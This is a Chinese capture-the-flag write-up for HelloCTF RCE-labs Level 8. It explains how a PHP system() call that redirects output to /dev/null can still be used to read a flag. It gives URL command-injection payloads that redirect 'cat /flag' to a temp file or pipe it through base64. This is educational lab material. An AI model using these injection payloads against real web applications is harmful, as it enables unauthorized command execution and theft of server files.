当前位置: 首页 > news >正文

HelloCTF [RCE-labs] Level 8 - 文件描述和重定向

开启靶场,打开链接:

GET传参cmd

system($cmd.">/dev/null 2>&1");

这行代码将执行命令 $cmd,并且将其标准输出和标准错误输出都重定向到 /dev/null,这意味着无论命令的输出还是可能产生的错误信息都不会显示出来

> /dev/null 是一个输出重定向,它把标准输出重定向到 /dev/null,这样就不会有输出出现在屏幕上。

2>&1 是另一个重定向操作,它把标准错误输出复制到之前的标准输出位置(即 /dev/null),这样标准错误也不会出现在屏幕上。


可以尝试将cat /flag的输出重定向到一个临时文件中,然后再通过其他命令读取这个临时文件的内容:

1、创建临时文件:

cat /flag > /tmp/temp_flag

2、读取临时文件内容:

cat /tmp/temp_flag

3、将这两个命令组合起来,可以构造如下命令:

cat /flag > /tmp/temp_flag; cat /tmp/temp_flag;

4、构造payload:

/?cmd=cat /flag > /tmp/temp_flag; cat /tmp/temp_flag;

成功得到flag:

NSSCTF{bcc499e2-7305-4f60-9c5b-6280b8889896}


当然,还有一种思路:

使用base64命令将/flag的内容编码成Base64格式,然后通过管道输出。由于base64编码会将输出转换成ASCII格式,可以通过网络更容易地传输。

1、将内容编码为Base64:

cat /flag | base64

2、构造payload:

/?cmd=cat /flag | base64;

一样成功得到flag


http://www.mrgr.cn/news/61200.html

相关文章:

  • 业务幂等性技术架构体系之消息幂等深入剖析
  • ThreeJs练习——载入外部模型
  • 【Linux网络编程】数据链路层 | MAC帧 | ARP协议
  • 【Linux】深刻理解软硬链接
  • 高性能网络模式:Reactor 和 Proactor
  • JuiceFS 2024:开源与商业并进,迈向 AI 原生时代
  • JVM垃圾回收
  • 探索工业大模型的奥秘:2024年中国工业大模型行业发展研究报告免费下载
  • @Import
  • MySQL系列---sql优化
  • qq流量分析(渗透课作业)
  • PBKDF2算法:一种基于密码的密钥派生算法
  • VQ-VAE(2018-05:Neural Discrete Representation Learning)
  • png怎么转换成jpg格式?将png格式转换成jpg格式的几个方法推荐
  • 21世纪20年代了, 居然遭遇扩容U盘!
  • Jenkins+RobotFramework 失败用例重执行方案
  • 串口调试工具
  • 人工智能图谱
  • java基础练习:三天打鱼,两天晒网
  • AI(10)-瓶子logo
  • JS中的正则表达式
  • 高压线路覆冰厚度测量,输电线路微波覆冰监测装置守护电网安全
  • 后端检测_文件头检测漏洞
  • 线上问题排查@Transactional事务失效
  • 探索 Python 异步库的神秘力量:sniffio 库全解析
  • 鸿蒙开发 五十一 Command Line Tools 之ohpm